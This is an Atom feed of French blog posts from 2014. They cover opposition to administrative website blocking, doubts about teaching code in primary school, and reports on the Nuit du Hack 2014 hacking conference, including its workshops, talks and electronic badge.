&lt;p&gt;Le véritable problème, celui auquel on n'a pas encore trouvé de solution, est en réalité inhérent à la manière dont Internet a été pensé: le maillage et la dissémination des ressources. Car si Internet n'est pas une zone de non-droit, il n'en reste pas moins un vaste un réseau couvrant le monde et autant de juridictions, avec chacune d'entre elles leur particularité. Ajoutez à cela le fait que n'importe qui peut, en quelques clics, ouvrir un site web ou un blog et y diffuser ce que bon lui semble, et vous obtenez un affreux micmac impossible à &amp;quot;réguler&amp;quot; à l'échelle française. L'Internet n'a pas de frontières. Bloquer un site web, c'est retirer des chemins permettant d'accéder à une ressource., mais grâce au maillage d'Internet, il est possible de trouver d'autres chemins permettant de l'atteindre. Sans parler des réseaux au sein même du réseau, comme les systèmes &lt;a class="reference external" href="http://www.torproject.org"&gt;ToR&lt;/a&gt; ou &lt;a class="reference external" href="https://freenetproject.org/?language=fr"&gt;Freenet&lt;/a&gt;, qui ajoutent en complexité. Vouloir réguler l'Internet comme on régule l'accès à un lieu, en bloquant toutes les issues, reviendrait à figer celui-ci et aller à l'encontre de son essence même.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Combattre la menace terroriste&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le blocage va donc clairement à l'encontre du réseau, qui de par sa nature offrira toujours des moyens de contournement. Ainsi, pour empêcher le recrutement des jeunes et limiter leurs envies d'aller faire la Guerre Sainte ailleurs, peut-être devrions-nous songer à utiliser les mêmes armes. Mettre dans les mains d'une autorité administrative un aussi grand pouvoir que celui de vouloir d'une part donner droit de vie et de mort sur des sites web, et d'autre part d'instaurer une suspicion obligatoire de la part des fournisseurs de services (comme les hébergeurs), revient à jouer avec le feu. Car à un moment ou à un autre, ce formidable outil de censure (car ce n'est rien moins que cela) pourra être détourné de son usage sans contrôle. Pour arriver aux résultats que l'on connaît, comme cela a pu être observé au [Royaume-Uni-&amp;gt;http://neosting.net/royaume-unis-filtrage-porno-inefficace-abusif-dangereux-gac] ou en &lt;a class="reference external" href="http://www.lemonde.fr/technologies/article/2012/11/09/l-australie-renonce-a-son-projet-de-filtrage-du-web_1788461_651865.html"&gt;Australie&lt;/a&gt;. Il existe d'autres moyens.&lt;/p&gt;
&lt;p&gt;Si l'on met de côté le blocage des sites, comment pouvons-nous faire pour limiter le recrutement ? Ne nous leurrons pas: si un adolescent souhaite se renseigner sur ces sujets, il trouvera de l'aide quoiqu'il arrive: l'Internet regorge de personnes et de sites. La suppression de l'information à la source, via la fermeture du site par exemple (sous contrôle d'un juge) n'est pas assez efficace, car trop lent et au final rapidement sujette à l'apparition de sites miroirs. Sacré effet Streisand. Si l'on essaie de faire disparaître l'information, alors elle n'en sera que plus présente.&lt;/p&gt;
&lt;p&gt;Pourquoi ne pas envisager la lutte contre ce fléau d'une autre manière ? Disons d'une manière déceptive, en utilisant les mêmes armes. Créons une foultitude de messages sur les forums, pointant vers des adresses de courriel inexistantes ou des sites complètement bidons, noyons les dans un flot d'information complètement idiot mais faisant en sorte que ceux-ci soient bien référencés. Quand on n'arrivera plus à différencier un site/message de recrutement réel d'un de ces faux sites/messages, nous pourrons considérer que le problème sera en partie résolu. Noyons l'information, utilisons la force de l'Internet pour rendre les messages concernés minoritaires et difficiles à trouver.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et nos libertés dans tout ça ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Ah oui, nos chères libertés... Si nous arrivons à convaincre que le flicage massif et le filtrage n'ont au final aucun avenir, alors nous pourrons certainement envisager un Internet un poil plus sain. Et pour ce faire, nous pouvons faire confiance à des organismes dont le principal effort consiste à sensibiliser nos politiques sur ce sujet, à les travailler au corps pour leur faire comprendre les principes fondamentaux de l'Internet, mais surtout à leur montrer pourquoi l'on tient tout particulièrement à cet Internet là. Même s'il n'est pas parfait. Même si on peut encore l'améliorer. Des organismes comme &lt;a class="reference external" href="https://soutien.laquadrature.net"&gt;La Quadrature du Net&lt;/a&gt; par exemple, qui manquent cruellement de moyens. Soutenons-les, donnons-leurs les moyens d'agir pour nos droits, pour que les politiques et les personnes qui se sentent concernés par les problématiques actuelles puissent appréhender tous les enjeux qu'entourent leurs propositions de loi.&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Du code à l'école ?</title><link href="https://virtualabs.fr/humeur/Du-code-a-l-ecole" rel="alternate"/><published>2014-07-15T09:00:00+02:00</published><updated>2014-07-15T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-07-15:/humeur/Du-code-a-l-ecole</id><summary type="html">&lt;p&gt;Hier, on a beaucoup parlé de la nouveauté de la rentrée 2014: &lt;a class="reference external" href="http://www.lemonde.fr/societe/article/2014/07/13/l-apprentissage-du-code-informatique-sera-propose-au-primaire-en-septembre_4456197_3224.html"&gt;l'enseignement du &amp;quot;code informatique&amp;quot; au primaire&lt;/a&gt;. Une nouvelle qui peut réjouir les technophiles, hackers et geeks tels que moi, mais à bien y réfléchir ce n'est peut-être pas si bien. Je profite de ce billet pour tenter de …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Hier, on a beaucoup parlé de la nouveauté de la rentrée 2014: &lt;a class="reference external" href="http://www.lemonde.fr/societe/article/2014/07/13/l-apprentissage-du-code-informatique-sera-propose-au-primaire-en-septembre_4456197_3224.html"&gt;l'enseignement du &amp;quot;code informatique&amp;quot; au primaire&lt;/a&gt;. Une nouvelle qui peut réjouir les technophiles, hackers et geeks tels que moi, mais à bien y réfléchir ce n'est peut-être pas si bien. Je profite de ce billet pour tenter de mettre à plat mes idées, au regard de ma situation actuelle: geek, hacker, et père de deux enfants (ce qui n'est pas une mince affaire).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Du &amp;quot;code informatique&amp;quot; pour nos chères têtes blondes&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cela fait plusieurs années que je milite pour l'introduction de notions informatiques dans l'enseignement, et ce dès que possible. Enfin, le terme &amp;quot;militer&amp;quot; est un peu fort, disons que dans mon for intérieur cela m'apparaît désormais comme essentiel, vu l'importance qu'ont pris les systèmes informatisés dans nos vies. A l'heure actuelle, je n'envisage pas d'élever mes deux enfants sans leur donner les bases des rouages d'un ordinateur, et tenter de développer leur esprit critique vis à vis d'Internet. Et pourquoi pas leur enseigner le &amp;quot;coding&amp;quot;, s'ils sont intéressés.&lt;/p&gt;
&lt;p&gt;A écouter le ministre M. Hamon, il faut enseigner &amp;quot;le code informatique&amp;quot;. Quel code ? Notez bien que l'on ne parle ni de langage, ni de ce qui se trouve en amont (comme l'algorithmique). Cet aspect &amp;quot;code&amp;quot; est d'autant plus mis en avant par les médias: oui, vos enfants vont enfin comprendre le code HTML qui constitue des millions de milliards  de pages web ! Ils deviendront ces petits génies français qui feront trembler la Silicon Valley ! Le sentiment que j'en ai, de cette nouveauté, c'est qu'elle a été choisie et mise en oeuvre (sans compter l'effet d'annonce) par des personnes qui, encore une fois, ne savent franchement pas de quoi elles parlent. Du code informatique, cela peut-être tout et n'importe quoi. Du code machine édité en hexadécimal, du JavaScript, du C, voire même du COBOL, sans oublier le code HTML bien sûr.&lt;/p&gt;
&lt;p&gt;Cette décision a été prise dans l'espoir que nos petites têtes blondes ne restent pas passives vis-à-vis de la technologie, qu'elles soient en mesure d'appréhender la complexité des systèmes informatiques et de les modifier. Et pour cela, on va leur enseigner le &amp;quot;code informatique&amp;quot;, avec l'inertie et l'innovation du système scolaire qu'on lui connait. Envie d'apprendre le BASIC sur un Windows 95, avec un intervenant qui ne maîtrise pas son sujet (bon ok, j'exagère un brin) ? Pourquoi ne pas commencer par le commencement ?&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Déclic et des claques&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tout développeur est un amateur de problèmes. Et un fainéant. Amateur de problèmes, car ce qui l'intéresse, ce n'est pas de créer du code mais bel et bien de créer une solution à un problème. Cet aspect est universel, et on peut l'apparenter à celui de créer une invention: on crée quelque chose qui résout un problème, qui rend facile ce qui avant était difficile. On crée. Fainéant,  parce qu'il ne souhaite pas avoir à trouver à nouveau la solution à ce problème à chaque fois que celui-ci se présente. Pour s'éviter cette peine, il se crée ses outils: des programmes qui mettent en oeuvre la solution qu'il a élaboré. Ceci illustre aussi l'importance de savoir développer (et cette fois-ci, je parle bel et bien de la création de code, et de programmes par essence): on dispose d'un outil permettant de créer des outils.&lt;/p&gt;
&lt;p&gt;Alors, enseigner le &amp;quot;code informatique&amp;quot; ressemble fortement à mettre la charrue avant les bœufs. Leur apprendre à comprendre du code et à en pondre n'arrangera rien: ce sera une matière comme une autre, sans aucune étincelle dans leurs yeux d'écoliers technophiles et consommateurs de technologie. Il n'y aura aucun déclic, aucune envie de résoudre des problèmes, aucune envie de créer. Une fois de plus, on met de côté la créativité.&lt;/p&gt;
&lt;p&gt;Il me semble intéressant d'envisager les choses sous un autre angle: celui de l'éveil. Cela prend peu de temps, mais peut ouvrir des horizons. Je vais illustrer cela avec un exemple, qui d'ailleurs ne touche en rien l'informatique. Le mois dernier, j'animais un atelier pour les enfants lors de la première édition de la &lt;em&gt;NDH Kids&lt;/em&gt; (qui se déroulait en parallèle de la Nuit du Hack), durant lequel nous avons bidouillé des pistolets Nerf. Plusieurs enfants de divers âges ont suivi cet atelier, plus ou moins intéressés par le sujet. Et parmi eux, deux adolescents qui ont apprécié l'idée, et qui m'ont recontacté par la suite pour me transmettre les photos d'un pistolet Nerf qu'ils possédaient et qu'ils ont complètement désossé, amélioré et repeint. Rien que cela. Pourtant, je ne leur ai jamais montré comment faire, je m'en étais simplement tenu au modèle que l'on manipulait. Je ne leur ai donné aucun guide de démontage, ni de recette pour peindre. Mais malgré tout, ils s'en sont sortis comme des chefs.&lt;/p&gt;
&lt;img alt="" src="/images/dsc02535.jpg" /&gt;
&lt;p&gt;Ce qu'il faut retenir de cette histoire, c'est que tout a été question de déclic. Ils ont découvert quelque chose de nouveau, qu'ils ont jugé intéressant et motivant. A partir de là, à l'aide de recherches sur Internet, ils ont pris les choses en main et ont obtenu le résultat mentionné plus haut. Il y a tant de ressources accessibles sur Internet, tant de choses déjà créées (&lt;a class="reference external" href="http://scratch.mit.edu/"&gt;Scratch&lt;/a&gt;, &lt;a class="reference external" href="http://www.w3schools.com/"&gt;w3schools&lt;/a&gt;, &lt;a class="reference external" href="http://www.codecademy.com/fr"&gt;codecademy&lt;/a&gt;) permettant d'approfondir ce vaste sujet qu'est la programmation, qu'il me semble superflu d'aborder  simplement le &amp;quot;code informatique&amp;quot; à l'école. Pas assez de temps et pas assez de moyen.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Je n'ai rien contre le système éducatif, une de mes meilleures amies est institutrice !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;De ce constat (que le système scolaire ne peut prétendre enseigner le numérique), il en ressort une multitude d'interrogations. Equiper les écoles en haut-débit c'est bien, mais quel rapport avec le &amp;quot;code informatique&amp;quot; ? Qui va se charger de cet enseignement, qui plus est effectué sur temps périscolaire ? Sur quelles bases ? Envisage-t-on des solutions OpenSource ? Comment va faire un écolier qui ne possède pas d'ordinateur pour travailler cette matière chez lui ?&lt;/p&gt;
&lt;p&gt;Je pense de plus en plus à mon amie institutrice (et directrice d'école), qui aura à gérer cette nouveauté et les problèmes qui en découlent. Car oui, pour ne rien arranger, elle enseigne en milieu rural avec une classe à trois niveaux et une population un poil hermétique aux langages informatiques. Sans parler de la réforme du temps scolaire et autres joyeusetés administratives. Ah, et j'oubliais l'ordinateur sous Windows 95 avec si peu de RAM et disque dur. Challenge accepted.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;De l'école au code !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;L'école a un rôle moteur dans cette démarche: celui de faire découvrir le domaine du numérique aux élèves. Pas directement le &amp;quot;code informatique&amp;quot;, oh non, mais au moins les bases: la constitution d'un ordinateur, les notions de programmes, applications, sites web, serveurs, etc... Tout comme lors de mon passage au primaire, l'on apprenait comment fonctionne un moulin à légumes, une paire de ciseaux ou le principe des vases communiquant. Des notions qui leurs seront utiles par la suite, pour mieux appréhender l'environnement numérique, et pourquoi pas avoir une autre vision sur les GAFA avides de données personnelles, voire créer leurs propres applications.&lt;/p&gt;
&lt;p&gt;C'est bien cela que je souhaite montrer à mes enfants: que les systèmes numériques ne sont en réalité pas aussi complexes qu'ils y paraissent, et leur donner les bases pour comprendre ce nouveau monde (numérique) qui les entoure et ses enjeux. Et s'ils souhaitent apprendre à créer leurs outils, je serai là pour leur montrer le chemin, quitte à passer pour un vieux con.&lt;/p&gt;
</content><category term="Humeur"/></entry><entry><title>Enfin remis de la Nuit du Hack 2014</title><link href="https://virtualabs.fr/geekeries/Enfin-remis-de-la-Nuit-du-Hack" rel="alternate"/><published>2014-07-04T09:00:00+02:00</published><updated>2014-07-04T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-07-04:/geekeries/Enfin-remis-de-la-Nuit-du-Hack</id><summary type="html">&lt;p&gt;Samedi dernier (le 28 juin 2014) se déroulait la douzième édition de la Nuit du Hack, le rendez-vous incontournable des bidouilleurs/codeurs/geeks de tout poil. Une douzième édition marquée par de nombreux changements, et plus de 1500 visiteurs. J'étais de la partie (qui a dit &amp;quot;comme d'habitude&amp;quot; ?), avec un …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Samedi dernier (le 28 juin 2014) se déroulait la douzième édition de la Nuit du Hack, le rendez-vous incontournable des bidouilleurs/codeurs/geeks de tout poil. Une douzième édition marquée par de nombreux changements, et plus de 1500 visiteurs. J'étais de la partie (qui a dit &amp;quot;comme d'habitude&amp;quot; ?), avec un talk et demi et plusieurs workshops.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les nouveautés&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;J'en avais déjà parlé dans un précédent billet, mais cette édition regorgeait de nouveautés:
*  des ateliers pour les enfants (NDH Kids)
*  un badge collector
*  des challenges en tout genre
*  des partenaires de folie
*  encore plus de place&lt;/p&gt;
&lt;p&gt;A noter en particulier le bug bounty lancé durant la nuit, sponsorisé par Qwant et qui offrait des PS4 avec le jeu Watch_Dogs, des Nexus 5 et plein d'autres lots, la présence de l'ANSSI qui tenait deux stands (un dans Yes We Hack et l'autre dans la salle plénière), et d'OVH toujours fidèle au poste =).&lt;/p&gt;
&lt;p&gt;Je pensais que cela ferait un peu beaucoup de choses à intégrer, mais au final tout s'est déroulé merveilleusement bien, à commencer par la NDH Kids.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;NDH Kids&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le réveil fut un brin difficile (peu de sommeil durant les jours prédédant le début de la Nuit du Hack, pour cause d'organisation) mais je débutais la journée en beauté avec mon premier atelier pour les enfants: du bidouillage de pistolets Nerf (de Hasbro). De mes deux ateliers de la journée, celui-ci est celui que j'appréhendais le plus: je n'ai pas l'habitude de gérer des enfants de 8 à 16 ans. Le challenge était présent, surtout lorsqu'il a fallu sortir la perceuse pour réussir à extraire une pièce du pistolet car sinon cela aurait pris beaucoup de temps (12 pistolets à modifier). Un peu impressionnant pour les enfants, mais rigolo (pour les enfants, moi je faisais super attention de ne pas me transpercer la main). Malgré les quelques impatients, on n'a pas trop débordé sur le planning, et même le staff Ndh Kids était fan !&lt;/p&gt;
&lt;p&gt;N'empêche, voir leur enthousiasme est franchement épatant: ils ont de l'énergie à revendre et plein d'idées ! Le graal, c'est quand une jeune fille m'a dit: &amp;quot;Ah il est déjà 11h45, mais on n'a pas vu le temps passer !&amp;quot;. Une expérience à renouveler l'année prochaine, mais avec quelques précautions: le staff a été un peu débordé par les batailles qui s'en sont suivies, et les parents m'en veulent peut-être un peu pour les futurs cadeaux qui seront commandés au Père Noël. Cela ne m'a pas empêché de modder par la suite un Vortex Praxis et un Maverick ;) ...&lt;/p&gt;
&lt;img alt="" src="/images/freeman-kaboom.jpg" /&gt;
&lt;img alt="" src="/images/disney-gun.jpg" /&gt;
&lt;p&gt;&lt;strong&gt;Les talks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Etant tout particulièrement occupé lors de mon atelier pour les kids, je n'ai pas pu suivre tous les talks qui se déroulaient dans la salle plénière (Times Square). Cependant les quelques bribes que j'en ai vu étaient bien sympa: Benjamin Bayart, Renaud Lifchitz, Jayson Street, que du bon. J'ai assuré un talk et demie lors de cette Nuit du Hack, car cela faisait plus d'un an que je n'avais pas parlé sur cette scène et ça faisait du bien d'y retourner. Le premier talk que j'ai donné, intitulé &amp;quot;Break, dump &amp;amp; crash&amp;quot; parlait de rétro-ingénierie matérielle, et en particulier d'une puce Broadcom que l'on retrouve dans les modems câble supportant la norme DOCSIS 3.0. Apparemment j'ai fait un peu mal à certaines têtes, mais donné des idées à d'autres (et ça, c'est super).&lt;/p&gt;
&lt;img alt="" src="/images/ndh.jpg" /&gt;
&lt;p&gt;Le second talk était en réalité une présence de soutien à mon ami et collègue Romain E Silva, pour qui ce talk sur la domotique était le tout premier. Lui qui stressait déjà devant une dizaine de personnes a complètement assuré devant plus de 1000 personnes! Je me suis juste chargé de l'introduction, de la description des vulnérabilités et des private jokes sur scène (base64 + lien Youpr0n). C'était bien marrant, et au final le talk a permis de soulever des problématiques actuelles quant à la domotique et sa sécurité (en mettant l'accent en particulier sur les solutions opensource).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les workshops&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Les workshops ont débuté à 19h, et celui que j'avais organisé avec TixLeGeek (et auquel sont venus s'adjoindre &lt;em&gt;y0no&lt;/em&gt; et &lt;em&gt;olivier-network&lt;/em&gt;, encore un grand merci à eux) a vite été débordé. Question organisation ce n'était pas top, je ne m'attendais pas à autant de monde. Les personnes qui ont soutenu le workshop via Ulule ont (presque) toutes reçues leur matériel, et ont pu s'initier à la soudure. Cela a pris toute la nuit, alors que je pensais avoir suffisamment de temps pour faire plein d'autres choses. Il me reste encore quelques bidules à envoyer par la poste, afin que tout le monde ait son dû.&lt;/p&gt;
&lt;p&gt;Résultat: on a passé la nuit à souder, à résoudre des problèmes de soudure et de communication USB avec le badge collector de la Nuit du Hack, mais aussi à rencontrer des gens intéressants et motivés. De belles rencontres, des échanges super sympas, et plus de voix à 8h du matin (l'année prochaine je prévois la sono en plus). Bref, pas mal de choses à améliorer, mais je pense que l'on va monter un petit &amp;quot;village&amp;quot; de hacking hardware inspiré de celui de la Defcon, car il y a encore énormément de choses à faire de ce côté. Et mettre des stations de soudage en accès libre, histoire que tout un chacun puisse s'éclater avec le badge électronique. Avis aux amateurs pour la prochaine édition !&lt;/p&gt;
&lt;p&gt;Pour ceux qui seraient intéressés par le badge électronique, cela inclut ceux qui ont eu la chance d'en avoir un et les autres bien sûr, tous les outils nécessaires sont disponibles sur &lt;a class="reference external" href="https://github.com/virtualabs/ndh2k14-badge/"&gt;GitHub&lt;/a&gt;. Et cela comprend la ROM d'origine ;).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et de la fatigue ...&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A l'heure où j'écris ce billet, je ne me suis pas tout à fait encore remis de cette édition qui fut encore une fois trop courte mais rondement menée, grâce au boulot formidable de toute la team. Merci aussi à vous d'être venus si nombreux, d'avoir bravé les transports en commun et d'avoir répondu présent pour cette douzième édition: c'était juste magique. On remet ça dans un an ?&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="évènement"/><category term="sécurité"/></entry><entry><title>Atelier sur le hacking hardware à la Ndh 2014</title><link href="https://virtualabs.fr/geekeries/Atelier-sur-le-hacking-hardware-a" rel="alternate"/><published>2014-05-19T09:00:00+02:00</published><updated>2014-05-19T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-05-19:/geekeries/Atelier-sur-le-hacking-hardware-a</id><summary type="html">&lt;p&gt;La Nuit du Hack 2014 arrive à grand pas, et comme promis je vais y co-animer un workshop traitant de hardware hacking avec TixLeGeek. Cet atelier pratique se veut être une initiation à différents domaines connexes à l'informatique, mais où l'on utilise ses dix doigts pour réaliser de vraies choses …&lt;/p&gt;</summary><content type="html">&lt;p&gt;La Nuit du Hack 2014 arrive à grand pas, et comme promis je vais y co-animer un workshop traitant de hardware hacking avec TixLeGeek. Cet atelier pratique se veut être une initiation à différents domaines connexes à l'informatique, mais où l'on utilise ses dix doigts pour réaliser de vraies choses palpables, ce qui procure une satisfaction toute particulière (identique à celle que l'on trouve à coder).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Que va-t-on faire durant ce workshop ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Différents aspects du hacking hardware seront abordés, dont notamment:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Electronique&lt;/li&gt;
&lt;li&gt;Schéma et circuits imprimés réalisés grâce à des solutions libres&lt;/li&gt;
&lt;li&gt;Développement embarqué&lt;/li&gt;
&lt;li&gt;Protocoles de communication infrarouge et radio&lt;/li&gt;
&lt;li&gt;Techniques de soudage au fer via l'exemple&lt;/li&gt;
&lt;li&gt;Nerf hacking pour adultes (fait suite au workshop de la Ndh Kids)&lt;/li&gt;
&lt;li&gt;Bidouilles diverses et improvisées sur des systèmes un peu anciens&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;L'idée de cet atelier est de faire découvrir et démystifier le hardware hacking, de découvrir les joies de l'électronique et son utilisation couplée à des ordinateurs. Pour ce faire, l'édition de cette année de la Nuit du Hack a introduit un badge électronique, conçu par mes soins, sur lequel se basera ce workshop. Vous n'en avez pas acheté sur le site de l'évènement ? Pas grave, j'en ai quelques-uns en supplément, sous réserve de participer au workshop bien entendu.&lt;/p&gt;
&lt;p&gt;Le badge réserve quelques surprises, car il peut notamment:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;Communiquer via USB&lt;/li&gt;
&lt;li&gt;Etre programmé comme un Arduino&lt;/li&gt;
&lt;li&gt;Etre bidouillé dans tous les sens grâce à des pads présents (soudure sale bienvenue)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Quelques photos ont fuité sur Twitter, si vous voulez vous faire une idée du bazar !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Comment participer ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour vous inscrire au workshop, rien de plus simple: &lt;a class="reference external" href="http://fr.ulule.com/hardware-hacking/"&gt;il y a une campagne de financement participatif en ligne sur le site Ulule.fr&lt;/a&gt; . Pourquoi un financement participatif ? Parce que c'est simple, dans la philosophie communautaire, et que cela permet de faire des pré-commandes sans se prendre la tête.&lt;/p&gt;
&lt;p&gt;Plusieurs &amp;quot;packages&amp;quot; sont disponibles, selon que vous ayez déjà acheté le badge en tant que goodie sur le site de la Nuit du Hack 2014 ou non, et en fonction de vos outils. Ainsi, si vous n'avez pas de fer à souder adapté, ni de multimètre et encore moins de plaque de prototypage, un package &amp;quot;Hardware Master + Badge Collector&amp;quot; est disponible, incluant un badge collector en kit à monter au workshop et tout ce qu'il faut pour bien débuter dans le hacking hardware. Si vous avez déjà un fer
et du matériel, viendez avec et optez pour le package &amp;quot;Hardware Bonus + Badge Collector&amp;quot;, afin de profiter de composants supplémentaires et d'un shield infrarouge collector pour le badge (permettant de faire de l'envoi/réception de données).&lt;/p&gt;
&lt;p&gt;Et si vous avez déjà un badge de réservé, les mêmes contreparties sont prévues, mais sans le badge. Notez que je ne dispose ni d'un nombre infini de badges collectors, ni d'énormément de place pour le workshop =).&lt;/p&gt;
&lt;p&gt;NB: la place pour l'évènement la Nuit du Hack 2014 n'est pas incluse dans le prix du workshop, mais vous en aurez besoin pour y participer. &lt;a class="reference external" href="http://nuitduhack.com/place-nuit-du-hack"&gt;Si vous n'en avez pas encore, vous pouvez vous inscrire à la NdH 2014 sur le site officiel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Et si on veut participer sans badge ni bonus matériel ?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Le workshop reste ouvert à tous, et vous pouvez très bien participer sans avoir le matériel nécessaire. Nous aiderons ceux qui souhaitent souder leur badge, et le bidouiller (on fournit aussi des idées), mais nous serons aussi disponible pour réaliser des hacks en tout genre lors de l'évènement, et on ramène même pour l'occasion pas mal de matériel divers ! Cependant, le badge électronique reste une bonne plate-forme de jeu pour les divers challenges à relever.&lt;/p&gt;
&lt;p&gt;Au plaisir de vous y voir !&lt;/p&gt;
</content><category term="Geekeries"/><category term="nuit du hack"/><category term="event"/><category term="évènement"/></entry><entry><title>La Nuit du Hack 2014, c'est dans moins de deux mois</title><link href="https://virtualabs.fr/geekeries/La-Nuit-du-Hack-2014-c-est-dans" rel="alternate"/><published>2014-05-12T09:00:00+02:00</published><updated>2014-05-12T09:00:00+02:00</updated><author><name>Damien Cauquil</name></author><id>tag:virtualabs.fr,2014-05-12:/geekeries/La-Nuit-du-Hack-2014-c-est-dans</id><summary type="html">&lt;p&gt;Cette année aura lieu la douzième édition de la Nuit du Hack, un évènement majeur français regroupant des présentations liées à la bidouille et au hacking, mais aussi des ateliers et des challenges divers, autour d'environ 1500 personnes au centre de convention du New York Hotel, à Disneyland Paris. J'y …&lt;/p&gt;</summary><content type="html">&lt;p&gt;Cette année aura lieu la douzième édition de la Nuit du Hack, un évènement majeur français regroupant des présentations liées à la bidouille et au hacking, mais aussi des ateliers et des challenges divers, autour d'environ 1500 personnes au centre de convention du New York Hotel, à Disneyland Paris. J'y serai présent encore cette année, comme chaque année depuis 2004.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2014, l'année des nouveautés&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Cette douzième édition signe aussi l'apparition de nouveautés: un espace dédié aux kids proposant des ateliers liés au hacking, un nouveau challenge &amp;quot;Sploit'n'drink&amp;quot; ainsi qu'un bug bounty organisé en collaboration avec la société Qwant. De plus, un badge électronique collector (200 exemplaires) et compatible Arduino est disponible sur le site officiel de l'évènement (disponible jusqu'à vendredi prochain !).&lt;/p&gt;
&lt;p&gt;J'ai d'ailleurs proposé un atelier dans le cadre de la Ndh Kids, de bidouillage de &lt;a class="reference external" href="http://fc07.deviantart.net/fs41/f/2009/029/d/8/Nerf_Modding_by_Astanael.jpg"&gt;Nerfs&lt;/a&gt; accessible aux plus jeunes (et moins jeunes, aucune discrimination). Au travers de ces bidouilles non-informatiques, l'idée est d'initier à la réflexion les jeunes participants, et de déverrouiller leur potentiel de créativité. Et les Nerfs sont un super terrain de jeu pour cela.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Bug Bounty&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La société &lt;a class="reference external" href="http://www.qwant.com"&gt;Qwant&lt;/a&gt; propose aux participants du Bug Bounty de trouver des bugs/vulnérabilités contre des récompenses, d'une valeur de 5000€ au total. Et des &lt;a class="reference external" href="http://fr.wikipedia.org/wiki/Bounty_(chocolat)"&gt;bounty&lt;/a&gt; en plus.&lt;/p&gt;
&lt;p&gt;Ce bug bounty est réservé aux participants de la Nuit du Hack, pour la durée de l'évènement. Pour plus d'informations, consultez la &lt;a class="reference external" href="http://nuitduhack.com/challenges-nuit-du-hack"&gt;section dédiée du site de la Nuit du Hack&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Le badge électronique&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Pour la douzième édition de la Nuit du Hack, j'ai conçu un badge électronique compatible Arduino, compatible USB et au design collector (cette photo est&lt;/p&gt;
&lt;img alt="" src="/images/badge-1-lowres-2.jpg" /&gt;
&lt;img alt="" src="/images/rabbid.jpg" /&gt;
&lt;p&gt;Ce badge sera livré en kit, et un espace sera prévu (le workshop Open It, cf. ci-après) pour ceux qui voudront le monter et s'y frotter.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Les talks&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;La liste complète des talks est &lt;a class="reference external" href="http://nuitduhack.com/talks"&gt;désormais disponible&lt;/a&gt; sur le site officiel de la NdH. Le talk que j'ai proposé et qui a été retenu, s'intitule &amp;quot;Break, crash and dump&amp;quot;, et traite de hardware hacking, de la méthodologie et de l'approche du hardware hacker, et d'un exemple d'analyse sur un composant matériel rencontré. J'aborderai de fait les outils nécessaires au hardware hacker, et différentes ruses de sioux permettant de résoudre divers problèmes techniques.  En somme, une bonne mise en bouche de ce que l'on pourra apercevoir, toucher et tester au workshop Open It.&lt;/p&gt;
&lt;p&gt;Je co-présenterai un second talk avec l'ami Vorex (sobrement intitulé &amp;quot;Coucou, tu veux voir ma domotique ?&amp;quot;) sur la sécurité des solutions domotique et les challenges à venir.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Workshop Open It&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Suite à l'initiative Open It, et vu le soutien reçu pour celle-ci, un Workshop Open It a été débloqué par les soutiens du projet: celui-ci a été retenu par l'équipe organisatrice et aura donc bien lieu lors de la Nuit du Hack 2014, animé par moi-même et &lt;a class="reference external" href="http://www.tixlegeek.com"&gt;TixLeGeek&lt;/a&gt; !&lt;/p&gt;
